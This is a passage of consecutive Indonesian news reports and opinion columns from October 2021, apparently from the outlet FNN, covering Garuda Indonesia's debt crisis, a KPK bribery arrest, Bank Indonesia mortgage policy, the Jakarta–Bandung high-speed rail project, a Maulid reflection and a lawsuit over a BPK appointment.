pengaduan dianalisis yang memenuhi persyaratan, yang bukan mengandung fitnah, tentuu akan kami tindaklanjuti ke lapangan," terang Sunraizal. Ia memastikan pihaknya menindak tegas seluruh pihak, termasuk pegawai kementerian yang terbukti melanggar hukum. "Kami tidak main-main terhadap kasus yang mencoba meletakkan surat-surat di atas tanah orang lain. Tidak toleransi sama sekali. Ini hal yang membuat kekacauan," tutur Sunraizal. Sejauh ini, 32 pegawai Kementerian ATR/BPN yang dihukum berat telah diberhentikan, 53 orang diberikan disiplin sedang, dan 40 orang disiplin ringan. (ant,sws)

Lahan PRPP Mangkrak, Ganjar Belum Punya Legacy di Akhir Masa Jabatan

Semarang, FNN - Keberadaan lahan Pusat Rekreasi Promosi Pembangunan (PRPP) yang mangkrak bertahun-tahun mendapat kritikan dari kalangan pengusaha. Pemerintah Provinsi (Pemprov) Jawa Tengah dianggap tak mampu memanfaatkan lahan tersebut secara maksimal. Padahal kawasan PRPP lokasinya cukup strategis di dekat Bandara Internasional Ahmad Yani Semarang, sehingga memiliki nilai komersial yang tinggi. Kritikan tajam datang dari Wakil Sekretaris Umum Badan Pengurus Daerah Himpunan Pengusaha Muda Indonesia (BPD HIPMI) Jawa Tengah Shoraya Lolyta Octaviana. Menurutnya, lahan PRPP sebenarnya memiliki nilai ekonomi tinggi. Lokasinya sangat strategis, tak jauh dari Bandara Internasional Ahmad Yani. Kawasan itu juga dekat dengan Pelabuhan Tanjung Emas Semarang. Namun, sayangnya pemanfaatannya tak maksimal. "PRPP ini ibarat gerbang masuknya Jawa Tengah. Saat pendatang turun pesawat dan masuk Kota Semarang, pasti melewati PRPP. Semestinya ini bisa dimanfaatkan karena lokasinya strategis. Apalagi kawasan sekitar bandara, kini mulai berkembang dengan banyaknya tempat-tempat usaha baru," kata Shoraya, dalam keterangan tertulisnya di Semarang, Selasa (19/10/2021). Wanita yang akrab disapa Aya ini menambahkan, perlu langkah proaktif dari Pemprov Jawa Tengah, dalam hal ini Gubernur Jawa Tengah Ganjar Pranowo agar lahan seluas ratusan hektare tersebut tak mangkrak dan sia-sia. Upaya Pemprov Jawa Tengah menarik investor untuk menggarap lahan tersebut hingga kini belum terwujud. Pasalnya, pemanfaatan aset lahan tersebut akan mampu menyumbang pendapatan asli daerah (PAD) bagi Jawa Tengah. "Kalau melihat kawasan PRPP ini rasanya sedih sekali. Gedung-gedungnya mangkrak tak terawat, banyak plafon yang jebol, dan ditumbuhi rumput liar. PRPP sepi, seolah tak ada yang melirik," ujar mantan Ketua HIPMI Perguruan Tinggi Jawa Tengah ini. Selain menyumbang PAD, pemanfaatan lahan PRPP juga akan menggerakkan perekonomian Jawa Tengah. Para pelaku UMKM misalnya, bisa ikut berjualan jika kawasan tersebut hidup. Lahan PRPP sendiri kini dikuasai Pemprov Jawa Tengah setelah puluhan tahun bersengketa dengan PT. Indo Perkasa Usahatama (IPU). Hal itu menyusul dikabulkannya upaya peninjauan kembali (PK) yang diajukan Gubernur Jawa Tengah Ganjar Pranowo oleh Mahkamah Agung (MA). Meski aset-aset PRPP yang luasnya sekitar 248 hektare tersebut sudah di tangan Pemprov Jawa Tengah, hingga kini belum ada investor yang masuk dan memanfaatkannya. Gubernur Jawa Tengah Ganjar Pranowo sendiri pernah menjanjikan akan merevitalisasi kawasan PRPP. Dia berharap PRPP dapat menunjang kegiatan meeting, insentif, conference, and exhibition atau MICE. Ganjar menargetkan revitalisasi akan dimulai pada 2020 dan akan rampung pada 2022 mendatang. Namun faktanya, hingga akhir 2021 ini wacana tersebut belum terlaksana. Dikatakan Shoraya, jika lahan PRPP bisa dimanfaatkan maksimal dan dibangun menjadi kawasan MICE yang megah, hal tersebut akan menjadi monumen bagi Gubernur Jawa Tengah Ganjar Pranowo yang masa jabatannya akan berakhir pada 2023. Sedikit flashback, dia menyebut dua Gubernur Jawa Tengah sebelum Ganjar meninggalkan monumen yang membanggakan bagi masyarakat Jawa Tengah. Mantan Gubernur Jawa Tengah Mardiyanto misalnya dikenal karena berhasil membangun Masjid Agung Jawa Tengah (MAJT). Sementara mantan Gubernur Jawa Tengah Bibit Waluyo dikenal karena upayanya mendorong keberadaan jalan tol Semarang-Solo. "Nah, saya belum melihat Pak Ganjar akan mempunyai legacy yang membanggakan bagi masyarakat Jawa Tengah. Jangan sampai Pak Ganjar ini hanya terkenal di medsos (media sosial) tapi tidak memiliki peninggalan apapun bagi warga Jawa Tengah saat purna tugas nanti," ucap Bakal Calon Ketua Umum BPD HIPMI Jawa Tengah itu. (sws)

Garuda Indonesia Menuju Pailit

Jakarta, FNN - Maskapai BUMN, Garuda Indonesia kini nasibnya berada di ujung tanduk. Emiten dengan kode GIAA itu tampaknya sudah sulit untuk diselamatkan. Kementerian BUMN menyatakan bahwa tidak ada opsi yang lebih baik dibandingkan dengan membubarkan Garuda Indonesia. Bahkan, meskipun restrukturisasi utang senilai Rp70 triliun berhasil dilakukan meski dianggap sulit. Wakil Menteri BUMN II, Kartika Wirjoatmodjo menjelaskan, nilai utang Garuda kelewat besar sehingga sulit diselamatkan hanya dengan penyertaan modal negara (PNM). Meski hingga kini Garuda Indonesia masih mengupayakan restrukturisasi utang dengan para kreditur dan perusahaan penyewa pesawat (lessor). Namun, ia tak memungkiri adanya kemungkinan untuk pailit. "Kalau mentok (restrukturisasi), ya kita tutup (Garuda Indonesia). Tidak mungkin kita berikan penyertaan modal negara karena nilai utangnya terlalu besar," kata dia, dikutip dari Warta Ekonomi. Sebelas kreditur dalam negeri telah mencapai kesepakatan restrukturisasi utang pada September lalu. Meski demikian, negosiasi dengan kreditur dan lessor masih alot dan membutuhkan waktu yang panjang. Salah satu alasannya, pesawat yang digunakan Garuda dimiliki puluhan lessor. ’’Peluang 50:50,’’ ungkapnya dalam diskusi dengan sejumlah pemimpin redaksi. Kartika menilai opsi penutupan Garuda tetap terbuka meski berstatus sebagai maskapai flag carrier. Alasannya, saat ini sudah lazim sebuah negara tidak memiliki maskapai yang melayani penerbangan internasional. Untuk melayani penerbangan internasional, maskapai asing akan digandeng sebagai partner maskapai domestik. Kartika menyebut satu maskapai telah tertarik untuk menjadi partner maskapai internasional dengan kompensasi penerbangan umrah dan haji. Untuk mengantisipasi jika opsi penutupan Garuda dilakukan, Kementerian BUMN telah menyiapkan transformasi maskapai Pelita Air dari air charter sebagai maskapai full service domestik. ’’Pelita disiapkan menggantikan Garuda karena seluruh sahamnya dimiliki Pertamina,’’ terangnya. Jika restrukturisasi utang Garuda ternyata berhasil, Pelita Air tetap bakal dioperasikan sebagai maskapai full service domestik. Kartika mengungkapkan, masalah utama Garuda adalah biaya leasing yang melebihi kewajaran dan jenis pesawat yang digunakan terlalu banyak. (sws, JP)

Saham China Ditutup Lebih Tinggi Terangkat Sektor Konsumen, Pertanian

Shanghai, FNN - Saham China ditutup lebih tinggi pada perdagangan Selasa, dipimpin oleh saham bahan pokok konsumen dan pertanian, karena regulator pasar negara itu mempertimbangkan dukungan yang lebih baik untuk perusahaan swasta setelah data ekonomi yang lemah. Indikator utama Bursa Efek Shanghai, Indeks Komponen Shanghai menguat 0,70 persen atau 25,02 poin menjadi berakhir di 3.593,15 poin, sedangkan indeks saham unggulan CSI300 terangkat 0,98 persen atau 47,95 poin menjadi menetap di 4.922,72 poin. Regulator pasar China mengatakan akan mengambil langkah-langkah untuk meningkatkan dukungan bagi perusahaan-perusahaan swasta dan mempromosikan persaingan yang adil dengan memperkuat pengawasan. Ini terjadi setelah data pada Senin (18/10/2021) menunjukkan pertumbuhan ekonomi di China mencapai level terendah satu tahun, sementara analis memperkirakan langkah-langkah pelonggaran yang lebih bertarget akan datang dalam beberapa bulan mendatang. Bahan pokok konsumen meningkat 2,8 persen, rebound dari penurunan tajam di sesi sebelumnya karena sektor ini ketakutan oleh seruan Presiden Xi Jinping untuk perluasan pajak konsumsi. Broker CICC mengatakan dalam sebuah catatan bahwa konsumsi diperkirakan akan terus pulih pada kuartal keempat, dan para analis mengatakan investor sekarang akan mengamati laporan laba perusahaan kuartal ketiga. Subindeks pertanian berakhir naik lebih dari 3,0 persen, dengan perusahaan peternakan babi melonjak paling tinggi. Sub-indeks yang melacak saham perawatan kesehatan terangkat 1,8 persen. Melawan tren, perusahaan real estat kehilangan 1,0 persen karena investor mencerna rencana pajak properti Beijing dan tanda-tanda melemahnya pasar perumahan China. (mth)

BI Perpanjang DP Nol Persen KPR hingga Desember 2022

Jakarta, FNN - Bank Indonesia (BI) memperpanjang kebijakan pelonggaran rasio loan to value/financing to value (LTV/FTV) kredit pemilikan rumah (KPR) menjadi paling tinggi 100 persen, yang berlaku efektif mulai 1 Januari 2022 sampai dengan 31 Desember 2022. Pelonggaran tersebut akan menyebabkan bank yang memenuhi kriteria rasio kredit/pembiayaan macet atau non performing loan/non performing financing (NPL/NPF) tertentu bisa memberikan uang muka alias down payment (DP) KPR menjadi paling sedikit nol persen kepada masyarakat. "Kebijakan ini berlaku untuk semua jenis properti baik rumah tapak, rumah susun, serta ruko atau rukan," ucap Gubernur BI Perry Warjiyo dalam Pengumuman Hasil RDG Bulan Oktober 2021 Cakupan Triwulanan di Jakarta, Selasa. Selain itu, BI juga menghapus ketentuan pencairan bertahap properti inden. Perry menjelaskan seluruh kebijakan tersebut dilakukan untuk mendorong pertumbuhan kredit di sektor properti, dengan tetap memerhatikan prinsip kehati-hatian dan manajemen risiko. "Kenaikan kredit yang lebih tinggi sudah tercatat pada KPR, yaitu sebesar 8,67 persen pada September 2021," ungkapnya. Maka dari itu, BI akan terus melanjutkan kebijakan makroprudensial yang akomodatif untuk mendorong peningkatan kredit perbankan. "Kebijakan makroprudensial yang longgar ini akan terus dilakukan selama tahun 2022," tutur Perry. (mth)

Anggota DPD: Peredaran Narkoba Semakin Masif di Pedesaan Kalteng

Palangka Raya, FNN - Anggota DPD RI Agustin Teras Narang mengaku sedih dan prihatin saat mendapatkan informasi bahwa peredaran narkoba di pedesaan Provinsi Kalimantan Tengah, semakin masif, khususnya di Kabupaten Gunung Mas. Kondisi ini tidak bisa dibiarkan dan harus ada upaya maupun langkah serius serta sistematis dalam menanggulangi peredaran narkoba, kata Teras secara virtual saat reses di Desa Dahian Tambuk, Kecamatan Mihing Raya, Kabupaten Gunung Mas, Selasa. "Kalau peredaran narkoba dibiarkan, saya khawatir 15 tahun ke depan, Kalteng akan kehilangan sumber daya manusia (SDM) yang berkualitas, cerdas, dan harati. Ini yang membuat saya benar-benar khawatir," ucapnya. Senator asal Kalimantan Tengah itu mengaku selama reses di Kabupaten Gunung Mas, baik di Kecamatan Tewah, Kahayan Hulu Utara, dan Mihing Raya, ia selalu mendapatkan informasi terkait peredaran narkoba yang semakin membahayakan, bahkan menimbulkan perceraian hingga terkena kasus. Teras mengatakan sekarang ini tidak bisa lagi saling menunggu ataupun melimpahkan sepenuhnya tanggung jawab dalam menanggulangi peredaran narkoba kepada pemerintah, BNN, penegak hukum, dan lainnya. "Saya mengajak para tokoh agama, tokoh adat, tokoh masyarakat, dan pemuda bersatu padu memerangi peredaran narkoba. Jangan sampai karena narkoba membuat SDM di Kalteng menjadi tidak berkualitas dan budak narkoba," kata Teras. Saat reses di Desa Dahian Tambuk, Teras menerima sejumlah keluhan maupun aspirasi, di antaranya ruas jalan provinsi dari Kuala Kurun menuju Palangka Raya rusak, peredaran narkoba yang membuat dua orang terjerat kasus hukum, dan belum adanya bimbingan teknis (bimtek) selama tiga tahun terakhir kepada kepala dan perangkat desa. "Untuk bimtek, saya siap membantu dan memfasilitasi dengan kementerian terkait. Sekarang tinggal apa dan bagaimana bimtek yang diinginkan Kecamatan Mihing Raya diberikan kepada kepala dan perangkat desa," demikian Teras. Dalam reses ini, turut hadir Camat Mihing Raya, Kepala Desa Dahian Tambuk beserta perangkat, tokoh adat, dan tokoh masyarakat. (mth)

Sri Mulyani Minta Kemenkeu Akselerasi Transformasi Pelayanan Publik

Jakarta, FNN - Menteri Keuangan Sri Mulyani Indrawati meminta instansi Kementerian Keuangan untuk terus melakukan dan mengakselerasi transformasi pelayanan publik agar mampu menghadapi berbagai tantangan yang semakin kompleks. “Itu (transformasi) bukan suatu kegiatan satu tahun dan selesai namun dia merupakan sebuah sikap untuk terus-menerus mau dan mampu berubah sesuai tantangan yang kita hadapi,” katanya dalam acara Festival Transformasi 2021 di Jakarta, Selasa. Sri Mulyani menuturkan Kemenkeu sebagai pengelola keuangan negara wajib hadir sebagai penyangga dan penyokong ketika krisis melanda sehingga instansi ini harus mampu bergerak, beradaptasi dan mengantisipasi perubahan. Adaptasi tersebut salah satunya dengan menciptakan pelayanan publik yang bersifat modern dan inklusif baik dari sisi internal maupun eksternal. Dari sisi internal berarti Kemenkeu mampu bersinergi antar berbagai unit dan menyatukan berbagai kegiatan maupun tujuan dari unit-unit menjadi satu kesatuan pengelolaan keuangan negara yang efektif dan baik. Sementara dari sisi eksternal berarti Kemenkeu mampu melayani segmen masyarakat, sektor ekonomi dan stakeholder atau pemangku kepentingan yang memang seharusnya mendapatkan pelayanan yang baik. “Kemenkeu sebagai pengelolaannya harus beradaptasi sehingga kita mampu terus meningkatkan kualitas pelayanan publik yang semakin modern dan inklusif,” tegasnya. Hal ini harus dilakukan sebagai wujud negara hadir dalam membantu masyarakat maupun dunia usaha di tengah ketidakpastian termasuk akibat krisis kesehatan pandemi COVID-19. “Nyata dari kehadiran negara di dalam melayani masyarakat pelayanan publik,” ujar Sri Mulyani. (mth)

KPK Tangkap Bupati Kuansing Terkait Suap Izin Perkebunan

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menangkap Bupati Kuantan Singingi (Kuansing) Andi Putra bersama tujuh orang lainnya terkait dengan kasus dugaan suap perizinan perkebunan. "KPK mengamankan beberapa pihak, sejauh ini ada sekitar delapan orang. Di antaranya benar, Bupati Kuansing, ajudan, dan beberapa pihak swasta," kata Plt. Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Ali mengatakan bahwa tim KPK saat ini masih memeriksa para pihak yang telah ditangkap tersebut. "Informasi yang kami peroleh terkait dengan dugaan korupsi penerimaan janji atau hadiah terkait dengan perizinan perkebunan," ucap Ali. Perkembangan mengenai hasil operasi tangkap tangan (OTT) tersebut, kata dia, akan diinformasikan lebih lanjut. "Perkembangannya akan kami informasikan lebih lanjut," katanya. Sebelumnya, Ketua KPK Firli Bahuri mengatakan bahwa tim KPK saat ini masih berada di lapangan dalam rangka pengumpulan bukti-bukti. "KPK masih kerja, penyelidik dan penyidik masih di lapangan," ucap Firli. Sesuai dengan KUHAP, KPK memiliki waktu 1 x 24 jam untuk menentukan status dari para pihak yang ditangkap tersebut. (ant, sws)

Kemuliaan Akhlak dan Keteladanan

Oleh: Yusuf Blegur Saat negara ini juga bangsa-bangsa lain di dunia, kehilangan kepercayaan dan mengalami krisis kepemimpinan. Maka momentum peringatan kelahiran Nabi Muhammad Shallallahu Alaihi Wasalam. Strategis bagi umat manusia termasuk rakyat Indonesia bisa memetik pelajaran dan mengambil hikmah dari kehidupan Nabi Muhammad Shallallahu Alaihi Wasalam. Selain memiliki kedudukan spiritual yang tinggi. Nabi Muhammad Shallallahu Alaihi Wasalam juga membangun sistem sosial yang menyeluruh termasuk aspek pemerintahan, ekonomi, politik, hukum dan pertahanan keamanan. Nabi Muhammad juga pemimpin di dunia yang paling dapat dipercaya dan memiliki kemuliaan akhlak yang dibutuhkan untuk merubah peradaban manusia menjadi lebih baik. PADA 12 Rabiul Awal 571 M, kelahiran seseorang di dunia yang kemudian perannya sangat menentukan peradaban manusia sepanjang zaman, bahkan setelah wafatnya di dunia. Nabi Muhammad Shallallahu Alaihi Wasalam dengan segala keagungan sifat dan perbuatannya. Tidak hanya sekedar berdakwah mensyiarkan Islam. Rasullulah juga telah menjadi figur dari kenyataan dan sejarah yang menjadi pelajaran penting bagi proses kehidupan manusia. Baik kehidupan manusia dengan sesamanya maupun hubungan manusia terhadap Allah Subhanahu Wa Ta'Ala pemilik segala kebesaran dan kekuasaan yang mutlak. Tahun ini bertepatan dengan tanggal 19 Oktober 2021. Umat Islam sedunia kembali berkhidmat pada peristiwa kelahiran atau Maulid Nabi Muhammad Shallallahu Alaihi Wasalam. Sebuah momen penting bersejarah dan begitu menakjubkan bukan saja bagi kehidupan umat Islam, namun kepada semua manusia di dunia beserta alam yang terhampar melingkupinya. Rasullullah satu-satunya manusia yang pernah hidup di bumi yang semua perkataan dan tindakannya menjadi manifestasi kebenaran yang bersumber dari Allah Subhanahu Wa Ta'Alla. Seperti kitab suci Al Quran yang telah diturunkan Allah Subhanahu Wa Ta'Alla, yang menjadi pedoman hidup sebagai petunjuk dan pembeda terhadap yang hak dan batil pada kehidupan manusia. Sikap dan perbuatannya merujuk pada Al Quran, bukan semata pada akal dan hawa nafsu. Kehadiran Nabi Muhammad Shallallahu Alaihi Wasalam juga menempatkannya sebagai pemimpin yang melalukan dekonstruksi sekaligus rekonstruksi nilai-nilai Ketuhanan dan kemanusiaan. Menjebol tradisi jahiliyah dan kesesatan hidup sejalan membangun nila-nilai tauhid dan sosial. Tersirat menegaskan perannya yang kuat dalam menjelaskan relasi kekuasan Ilahi terhadap makhluknya. Tak ubahnya Al Quran yang mengangkat kisah para Nabi Allah sebelumnya, hingga Nabi Muhammad Sallallahu Alaihi Wasalam. Nabi Muhammad Shallallahu Alaihi Wassalam seperti menjadi representasi Al Quran. Kehidupannya menjadi sunah, seiring Al Quran yang berisi tuntunan dari Allah Subhanahu Wa Ta 'Ala kepada seluruh umat manusia agar selamat dunia akhirat. Melalui Al Quran dan sunah, manusia akan dapat menemui Allah Subhanahu Wa Ta A'lla kelak. Hikmah Maulid Nabi Peringatan kelahiran Nabi Muhammad Shallallahu Alaihi Wassalam pada tahun 2021 ini. Terasa begitu penuh makna dan emosional. Bukan saja terhadap risalah perjuangan kenabiannya yang revolusioner dan mencerahkan peradaban manusia. Lebih dari itu perjuangan Nabi Muhammad Shallallahu Alaihi Wasalam yang mengguncang dunia itu. Menunjukkan ketaatan dan loyalitas kepada Ketauhidan itu amat sangat berat. Penyerahan diri dalam penghambaan kepada Allah Subhanahu Wa Ta 'Alla seiring menyeru kepada kebenaran dan memerangi yang mungkar. Keringat, darah dan pengorbanan jiwa Nabi Muhammad Shallallahu Alaihi Wassalam beserta keluarga, para sahabat dan umatnya yang istiqomah dalam menegakkan Dienul Islam, begitu dahsyat dan luar biasa. Mereka adalah generasi yang pernah ada pada zamannya, yang menukar seluruh kemanusiannya dengan keyakinan dan keimananya pada Allah Azza Wa Jalla demi keselamatan dunia dan akhirat. Tidak terjebak dan larut pada kehidupan dunia yang sejatinya hina dan penuh senda gurau. Nabi Muhammad Shallallahu Alaihi tanpa lelah mengajak seluruh umat di dunia untuk tidak mencintai dunia yang melalaikan manusia dan lebih menyiapkan diri untuk kehidupan akhirat. Nabi Muhammad Shallallahu Alaihi Wassalam dengan kemurnian jiwanya tak pernah berhenti memikirkan, bertindak dan mempertaruhkan hidupnya demi kepentingan dan kemaslahatan umat manusia. Sebuah karakter pemimpin yang mulia yang sangat sulit dijumpai setelah masanya. Ketaqwaan Nabi Muhammad Shallallahu Alaihi Wasalam telah menjadi contoh dan keteladanan bagi umat manusia, seperti yang dituangkan Al Quran dalam petikan surah Al Ahzab ayat 21, لَقَدْ كَانَ لَكُمْ فِي رَسُولِ اللَّهِ أُسْوَةٌ حَسَنَةٌ yang artinya, "Sesungguhnya telah ada pada (diri) Rasulullah itu suri teladan yang baik bagimu". Melawan Jahiliyah Modern Indonesia dalam hal ini para pemimpin dan rakyatnya. Sesegera mungkin harus mampu melakukan refleksi dan evaluasi terhadap perjalanan hidup kebangsaan. Kenapa sejauh ini sebagai sebuah negara yang bahkan sejak kelahirannya. Indonesia telah mengalami kerusakan sistem multidimensi dan tak pernah mencapai tujuan dari cita-cita proklamasi kemerdekaan. Apa yang terjadi pada negara Indonesia?, secara substansi sistem yang ada telah menciptakan seburuk-buruknya sebuah negara bangsa di dunia. Kebanyakan penyelengaraan negara jauh dari yang ideal. Negeri kaya tapi miskin rakyatnya. Negara hukum tapi telanjang menggunakan praktek tangan besi. Terkenal sebagai masyarakat religi namun berperangai mengabaikan Tuhan. Bangsa Indonesia bersama para pemimpinnya terus-menerus tak pernah bersyukur atas rahmat dan anugerah yang telah diberikan Allah Subhanahu Wa Ta A'la. Dengan kekayaan alam yang berlimpah dan segala fasilitas yang tersedia untuk hidup sebagai sebuah negara bangsa yang adil dan makmur. Indonesia malah tak ubahnya seperti negara yang sengsara, rakyatnya hidup terbelakang dan penuh penuh keterbatasan. Bersandar dan menganut ideologi-ideologi yang bersumber pada pemikiran manusia. Hasil pemikiran dan orientasi yang tentu saja dipenuhi nafsu, ambisi dan keserakahan hidup. Membuat para pemimpin dan sebagian besar rakyat Indonesia. Bukan hanya kering spritualitasnya, lebih dari itu menjadikan agama terlebih Islam hanya sekedar formalitas dan simbol semata. Mengangkangi nilai-nilai kemanusiaan dan Ketuhanan. Menjadikan materi dan kepuasan dunia sebagai Tuhannya. Secara esensi tidak berbeda dengan binatang buas, merasa unggul dan ingin menguasai, saling memangsa, dan membunuh untuk kepuasannya sendiri. Terlalu lama menghirup napas kapitalisme dan atheis yang menganut sistem liberal dan dan sekuler. Membuat bangsa Indonesia tidak hanya menjadi populasi penduduk yang mengejar materi, jabatan dan kepentingan kebendaan dunia lainnya. Lebih dari itu menjadikan mayoritas rakyat Indonesia telah mengalami pergeseran dan pendangkalan aqidah. Banyak para pejabat, tokoh dan yang menyandang ulama sekalipun. Begitu murahnya menjual agama dan menggadaikan aqidahnya dengan sesuatu yang rendah. Orang-orang seperti itu kian ramai dan perlahan tapi pasti telah keluar dari agama bahkan menjadi musuh agama. Menjual awidahnya demi kesenangan dunia. Oleh karena itu, dengan banyaknya fenomena-fenomena proses dehumanisasi dan atheisme dalam kehidupan dunia, terlebih di Indonesia. Maka negeri ini menjadi masyarakat yang tatanan hidupnya baik secara sosial politik, sosial ekonomi dan sosial hukum tidak berbeda dengan sistem jahiliyah yang pernah ada di zaman Nabi Muhammad dan sebelumnya. Bangsa Indonesia seperti mengikuti siklus sejarah, kembali kepada masa lalu kehidupan yang identik dengan kebiadaban. Maka menjadi sesuatu yang alami dan menjadi tuntutan hidup bahwasanya rakyat Indonesia berhak dan harus mendapat kehidupan yang jauh lebih baik. Secara spiritual dan materil, lahir dan batiniah. Termasuk kembali kepada khitah kehidupannya yang hakiki. Meresapi dan dan menginsyafi keagamaannya. Membangun kehidupan religi yang bersandar pada nilai-nilai Islam yang kafah. Bercermin dari yang pernah dilakukan dan dicontohkan Nabi Besar Muhammad Shallallahu Alaihi Wasalam. In syaa Allah Dienul Islam sebagai agama Rahmatan lil A'lamin, memberikan jalan lurus bagi keselamatan umat manusia di dunia dan akherat. Pemimpin Indonesia sudah sepantasnya intropeksi terhadap kegagalan-kegagalan negara, pemerintahan dan sistem yang selama ini keluar dari ajaran Islam. Lagipula, penerapan syariat Islam itu hanya untuk umat Islam, bukan buat yang lain. Tidak berlaku bagi umat non muslim. Tidak ada pemaksaan bagi penganut agama lain mengikuti tata cara atau syariat Islam. Apalagi sampai menimbulkan permusuhan, kebencian dan menciptakan konflik dalam menjalankan syariat Islam. Kenapa dibuat rumit dan polemik?. Agamamu, agamaku, politikmu politikku, cara hidupmu cara hidupku. Kenapa mengidolakan, merayakan kelahiran dan memperingati kematian tokoh-tokoh dunia kontemporer tidak pernah dipersoalkan?. Di sebagian belahan dunia, itu dilakukan sebagai bentuk peduli, kecintaan bahkan sebagai wujud fanatisme. Semua tidak masalah dan menimbulkan polemik. Bagaimana dengan kelahiran dan perjuangan manusia agung dan mulia seperti Nabi Muhammad Shallallahu Alaihi Wasalam?. Nabi sekaligus Rasul yang begitu besar jasa dan pengorbanannya bagi umat manusia di dunia. Pemimpin revolusi Islam yang dengan akhlaknya mampu merubah peradaban manusia. Dapatkah umat manusia memetik pelajaran dan mengambil hikmahnya?. Pada akhirnya peringatan Maulid Nabi Muhammad Shallallahu Alaihi Wasalam. Dengan kemuliaan ahlak dan keteladanan Nabi Muhammad Shallallahu Alaihi Salam. Idealnya bisa menjadi momentum dan kebangkitan umat Islam untuk kembali menghidupi jiwanya dengan Al Quran dan Sunah. Menghadirkan Islam sebagai tuntunan hidup dan memperbaiki akhlak manusia. In syaa Allah. Mari kita limpah curahkan salam dan shalawat kepada Nabi Muhammad Shallallahu Alaihi Wassalam. Allahumma Sholli Ala Muhammad. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Skandal Kereta Cepat Harus Cepat Dibuka

By M Rizal Fadillah TERBITNYA Perpres No 93 tahun 2021 yang membolehkan penggunaan dana APBN adalah sinyal kegagalan. Awalnya percaya diri pada pembiayaan mandiri tanpa dana negara, namun ujungnya teriak dan meraih pegangan ketika mulai tenggelam. Kereta cepat membuat kepanikan lalu cepat mengubah jalur. Kini kereta itu bergerak di jalur SOS. Pemerintah mulai menyuntik dana 4,3 Trilyun berupa PNM untuk PT KAI lokomotif konsorsium PT Pilar Sinergi BUMN Indonesia (PSBI). Dana itu berasal dari Sisa Lebih Pembiayaan Anggaran (SILPA) 2021. Dana yang mestinya digunakan untuk mempercepat pemulihan ekonomi rakyat dipakai guna pemulihan kereta cepat Indonesia Cina. Menyedihkan. Timbul pertanyaan apakah Perpres penggunaan dana APBN yang diawali suntikan SILPA 2021 ini murni inisiatif Pemerintah Indonesia atau atas tekanan China ? Melihat pada komposisi personalia dimana China dominan, kecurigaan itu menjadi sangat wajar. Presiden Komisaris Guo Jiang, Direktur Keuangan Zang Chou, dan Direktur Teknik Xiao Song Xin adalah sebuah gambaran dominasi. Ekonom Faisal Basri mengkritisi masa depan proyek ambisius Jokowi yang mangkrak dan bengkak ini. Menurutnya kereta cepat bakal mengalami kesulitan bayar dan pengembalian. Artinya dapat menjadi proyek gagal. Ia menyarankan segera stop proyek kereta cepat sebagaimana stop pula proyek food estate dan Ibukota baru (IKN). Proyek kereta cepat Jakarta Bandung ternyata berat saat konstruksi dan berat pula saat operasi. Apa yang terjadi jika ternyata kereta berbiaya 114 Trilyun ini nantinya sepi penumpang akibat harga mahal, jarak pendek, opsi angkutan banyak, serta Ibukota yang ternyata dipindahkan. Kereta yang mondar mandir cepat berpenumpang sedikit. Pemaksaan proyek adalah tanggungjawab Pemerintah dan ini artinya tanggungjawab Kepala Pemerintahan, yaitu Presiden Jokowi. Terlalu banyak kegagalan dari cara mengelola negara dengan nafsu bisnis semata. Negara menjadi komoditas. Bapak infrastruktur yang babak belur. Proyek kereta cepat perlu audit serius, jangan-jangan menjadi lahan korupsi dan skandal. Kritik atas proyek yang kini dikomandani Luhut Binsar Panjaitan ini sudah sangat banyak. Tetapi nampaknya terus dijalankan dengan tak peduli. Bahkan nekad harus menggali dana APBN. Teringat bait puisi Chairil Anwar. Luka dan bisa kubawa berlari Berlari Hingga hilang pedih perih Dan aku akan lebih tak peduli Aku ingin hidup seribu tahun lagi Meski dengan seribu dusta, aku ingin hidup satu periode lagi. *) Pemerhati Politik dan Kebangsaan

Presiden Diminta Tidak Melantik Anggota BPK Nyoman Adhi Suryanyadna Selama Masih Bersengketa di PTUN

Jakarta, FNN - Masyarakat Anti Korupsi Indonesia (MAKI) melakukan gugatan atas pemilihan anggota BPK yang melanggar hukum ke PTUN. Oleh karena itu Boyamin Saiman, Koordinator MAKI meminta Presiden RI tidak melantik calon anggota Badan Pemeriksa Keuangan, Nyoman Adhi Suryanyadna kelama masih menjalani sengketa di PTUN.. Rilis yang diterima FNN, hari ini, disebutkan bahwa Selasa tgl 19 Oktober 2021, pukul 10.30 WIB, di PTUN Jakarta, jalan Pemuda No 66, Rawamangun, Jaktim akan dilangsungkan sidang kedua (Perbaikan) atas gugatan MAKI lawan Ketua DPR dalam sengkarut tidak sahnya pemilihan anggota BPK karena tidak memenuhi syarat pasal 13 huruf J Undang-Undang tentang BPK. Gugatan ini terdaftar nomor perkara : 232/G/2021/PTUN.Jkt. Sebagaimana diketahui , DPR telah memilih Nyoman Adhi Suryadnyana sebagai calon anggota BPK dan berkasnya sudah diajukan kepada Presiden untuk dilakukan pelantikan. Gugatan ini sekaligus untuk meminta Presiden RI tidak melantik Nyoman Adhi Suryanyadna selama masih terdapat gugatan di PTUN. Presiden harus menunggu putusan gugatan ini hingga memiliki kekuatan hukum tetap menunggu hingga proses Banding dan Kasasi. Permintaan tidak melantik ini sebagai bentuk penghormatan atas proses hukum yang sedang berjalan. Presiden semestinya menjadi tauladan menghormati dan patuh atas proses hukum sebagai konsekuensi negara hukum yang digariskan UUD 1945. Sebelumya Hakim PTUN Jakarta menetapkan tidak menerima gugatan dikarenakan Penggugat MAKI dan LP3HI belum secara resmi mengajukan keberatan kepada Ketua DPR terkait seleksi calon Anggota BPK yang tidak memenuhi syarat. MAKI dan LP3HI telah melengkapi kekurangan tersebut berupa telah mengirimkan surat keberatan ( tanda terima surat keberatan jadi lampiran rilis ini ) kepada Ketua DPR dan selanjutnya MAKI dan LP3HI telah mendaftarkan kembali gugatan kepada PTUN. Materi gugatan sama dengan sebelumnya ditambah dilengkapi lampiran surat keberatan . Gugatan ini melawan Ketua DPR dalam hal hasil seleksi calon pimpinan BPK yang diduga tidak memenuhi syarat. Ketua DPR Puan Maharani telah menerbitkan Surat Ketua Dewan Perwakilam Rakyat Republik Indonesia nomor PW/09428/DPR RI/VII/2021 tanggal 15 Juli 2021 kepada Pimpinan DPD RI tentang Penyampaian Nama-Nama Calon Anggota BPK RI berisi 16 orang. Dari 16 orang tersebut terdapat 2 (dua) orang calon Anggota BPK yang diduga tidak memenuhi persyaratan yaitu Nyoman Adhi Suryadnyana dan Harry Z. Soeratin. Berdasarkan CV Nyoman Adhi Suryadnyana, pada periode 3-10-2017 sampai 